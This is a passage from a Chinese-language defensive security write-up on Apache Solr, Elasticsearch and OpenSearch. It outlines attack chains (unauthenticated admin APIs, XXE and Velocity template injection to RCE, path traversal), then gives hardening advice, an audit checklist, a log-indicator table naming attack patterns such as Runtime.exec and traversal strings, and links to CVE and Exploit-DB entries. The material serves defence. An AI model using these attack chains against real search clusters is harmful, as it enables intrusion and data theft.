核心原理:搜索平台默认不启用认证机制,所有 REST API 端点对网络上的任何来源开放访问。

影响产品:Apache Solr、Elasticsearch、OpenSearch

利用模式

端口扫描(8983/9200)→ 识别搜索平台类型
→ 未认证访问管理 API → 获取集群配置/索引数据
→ 利用脚本引擎/Config API 实现 RCE

防御要点

  • 部署后立即启用认证插件(Solr BasicAuth、ES X-Pack Security、OpenSearch Security)
  • 将搜索服务部署在内网,通过反向代理提供外部访问
  • 配置网络 ACL,仅允许可信 IP 访问管理端口

模式4:XML / 模板注入到 RCE

核心原理:搜索平台在解析 XML 请求或模板时,未禁用危险的 XML 实体解析功能,或允许用户控制模板内容。

影响产品:Apache Solr(XXE + Velocity 模板注入)

利用模式

POST XML 格式请求 → 注入外部实体声明
→ XXE 读取文件 / 模板引擎执行代码 → RCE

防御要点

  • 升级到已修复版本
  • 在 WAF 层过滤包含 ENTITYSYSTEM 关键字的 XML 请求
  • 限制搜索服务进程的文件系统访问权限

模式5:路径遍历与信息泄露

核心原理:搜索平台在处理文件路径和嵌套文档时缺少安全校验,导致敏感数据泄露。

影响产品:Apache Solr(Path Traversal)、Elasticsearch(Info Disclosure)、OpenSearch

利用模式

路径穿越 → 读取配置文件/凭据
→ 信息泄露 → 获取内部架构信息 → 辅助后续攻击

防御要点

  • 及时应用安全补丁
  • 使用最小权限原则运行搜索服务进程
  • 对搜索服务的输出进行脱敏处理

0x06 应急排查与防守建议

紧急排查清单

序号排查项排查命令/方法预期安全状态
1确认产品版本curl localhost:9200/curl localhost:8983/solr/admin/system已安装最新版本
2认证机制是否启用尝试不带凭据访问管理 API返回 401/403
3Config API 访问控制curl localhost:8983/solr/{core}/config返回 401 或受限
4脚本引擎配置检查 solrconfig.xml 中的 script 配置已禁用危险脚本语言
5JMX 远程配置检查 jmx.serviceUrl 配置未指向外部地址
6DataImportHandler检查是否启用 DIH 插件已禁用或已加固
7网络暴露面端口扫描 8983/9200/9300仅内网可访问
8进程权限`ps auxgrep solrgrep elasticsearch`
9日志审计检查异常查询日志和管理操作日志无异常请求记录
10依赖库版本检查 Commons Collections 等依赖版本已升级到安全版本

日志关键字段表

日志类型关键字段/模式说明
Solr 访问日志velocity.templateRuntime.execVelocity RCE 尝试
Solr Config 日志set-propertyjmx.serviceUrlConfig API 滥用
Solr 访问日志dataimportfull-importDIH 注入尝试
ES 审计日志script_fieldsscript 参数脚本引擎注入
ES 访问日志..%2F../../../路径穿越尝试
Solr/ES 日志java.lang.Runtimeexec通用 RCE 指标
通用日志异常 HTTP 方法(如 PUT 到 config)配置篡改尝试

紧急缓解措施

  1. 立即启用认证:为所有搜索平台实例配置认证机制
  2. 网络隔离:通过防火墙规则将搜索服务限制在内网访问
  3. 禁用危险插件:关闭 DataImportHandler、VelocityResponseWriter 等不必要组件
  4. WAF 规则:部署针对已知利用 payload 的 WAF 过滤规则
  5. 监控告警:对搜索 API 的异常请求建立实时告警机制

长期安全加固建议

  1. 版本管理:建立搜索平台的定期升级机制,确保及时应用安全补丁
  2. 最小权限:以非 root 用户运行搜索服务进程,限制文件系统访问范围
  3. 网络架构:将搜索集群部署在独立的安全区域(DMZ 或专用网段)
  4. 认证与授权:启用基于角色的访问控制(RBAC),限制 API 访问权限
  5. 审计日志:开启并集中存储搜索平台的审计日志,接入 SIEM 系统
  6. 漏洞扫描:定期使用 Nuclei 等工具对搜索平台进行安全扫描
  7. 配置管理:建立搜索平台的基线配置模板,禁止生产环境使用默认配置
  8. 应急预案:制定搜索平台安全事件的应急响应预案,定期演练

0x07 参考资料

  1. NVD - CVE-2019-17558: https://nvd.nist.gov/vuln/detail/CVE-2019-17558
  2. NVD - CVE-2019-0192: https://nvd.nist.gov/vuln/detail/CVE-2019-0192
  3. NVD - CVE-2017-12629: https://nvd.nist.gov/vuln/detail/CVE-2017-12629
  4. NVD - CVE-2015-1427: https://nvd.nist.gov/vuln/detail/CVE-2015-1427
  5. NVD - CVE-2014-3120: https://nvd.nist.gov/vuln/detail/CVE-2014-3120
  6. Apache Solr 安全公告: https://solr.apache.org/security.html
  7. Elasticsearch 安全公告: https://www.elastic.co/security/
  8. OpenSearch 安全公告: https://opensearch.org/security/
  9. CISA 已知被利用漏洞目录: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  10. ProjectDiscovery Nuclei 模板: https://github.com/projectdiscovery/nuclei-templates
  11. Exploit-DB #43008 (Solr XXE RCE): https://www.exploit-db.com/exploits/43008
  12. Exploit-DB #36337 (ES Groovy RCE): https://www.exploit-db.com/exploits/36337
  13. OWASP - Elasticsearch 安全加固指南: https://cheatsheetseries.owasp.org/cheatsheets/Elasticsearch_Cheat_Sheet.html
  14. SANS - 搜索引擎安全研究: https://www.sans.org/